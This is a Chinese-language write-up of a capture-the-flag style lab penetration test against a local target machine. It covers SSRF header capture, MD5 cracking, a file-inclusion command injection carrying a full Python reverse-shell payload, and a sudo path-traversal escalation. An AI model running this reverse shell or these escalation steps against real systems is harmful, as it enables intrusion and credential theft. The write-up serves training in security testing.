2025-12-23渗透测试
测试准备
1.准备一台带有kali的攻击机
2.准备一台目标机
3.两台机器均使用NAT网络,保证测试环境干净
测试目标
拿到目标机三个flag
测试步骤
因为攻击机与目标机为同一网段,所以我们先查询攻击机ip确定网段。

扫描网段确定目标机ip地址(排除其他ip确定靶机ip为192.168.174.143)

扫描靶机ip的端口与服务(发现80端口有http服务)

在浏览器URL输入"192.168.174.143:80"发现一个网页,注册并登录。


登录后发现只有网站测试功能能够使用,其他两项需要身份验证。


访问项目文件查看与文件包含测试都会返回401状态码,但在网站测试功能里则返回302状态码。


我们依此发现网站存在SSRF漏洞,就可以依靠一个简单脚本文件建立一个Flask用户让目标机主动向Flask用户发送请求,以此得到请求头的各类信息,以此访问目标机401的未授权功能。
from flask import Flask, request
app = Flask(__name__)
@app.before_request
def log_headers():
print("=== 请求头信息 ===")
for key, value in request.headers.items():
print(f"{key}: {value}")
print("================")
@app.route('/')
def index():
return "请求头已打印到控制台,请查看服务器日志"
app.run(host='0.0.0.0', port=80)
在测试URL中输入Flask的ip地址

得到请求头中的身份认证密文并且发现是一个base64编码。

使用CyberChef进行解码得到身份认证信息。

输入账号密码。

发现存在mgmt_page文件,访问http://192.168.174.143/api/mgmt_page,发现源代码中存在五位密码的MD5哈希。

将哈希放入kali中进行爆破,得到密码 SOUTH。
echo 96e44fa82e5a5263fb92337be422d3eb > key
john key --format=Raw-MD5访问文件包含测试,测试mgmt_page文件包含,发现可以进行文件包含,执行命令。

因此我们可以命令目标机通过反弹shell连接攻击机kali,从而使kali获得目标机的shell连接。
攻击机监听所有4444端口

输入URL:
/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22192.168.174.142%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27得到shell后在/var/www/中得到flag1{e707593d8a4c4c4db9d4a2f020258e7b}
在/var/www/html中找到db.php文件,里面存在数据库用户名与密码。

接着进入数据库。

发现users数据表里存在admin用户的password哈希与password_changed_at。

查看web源代码发现密码是通过用户password明文与password_changed_at值拼接,并进行MD5加密而成。

因此我们通过脚本爆破密码。

得到admin密码为chispa。
通过信息收集,发现一个系统用户为benjamin,通过上面爆破出的密码尝试登录,发现登录成功。

在/home/benjamin/中得到flag2{8437b8760a7a4717ad4e4e1568a9301e}
我们在/中发现flag3.txt文件,尝试查询其内容发现权限不够,因此我们需要提权。
通过sudo -l 查询当前用户被授权通过 sudo 执行的命令。发现该用户存在/bin/cat /root/notes/* sudo权限。

因此我们可以通过路径穿梭进行sudo逃逸 ,通过sudo /bin/cat /root/notes/../../flag3.txt获得flag3.txt内容。

flag3{1935a1a226564181bb8d4ee15ad73f96}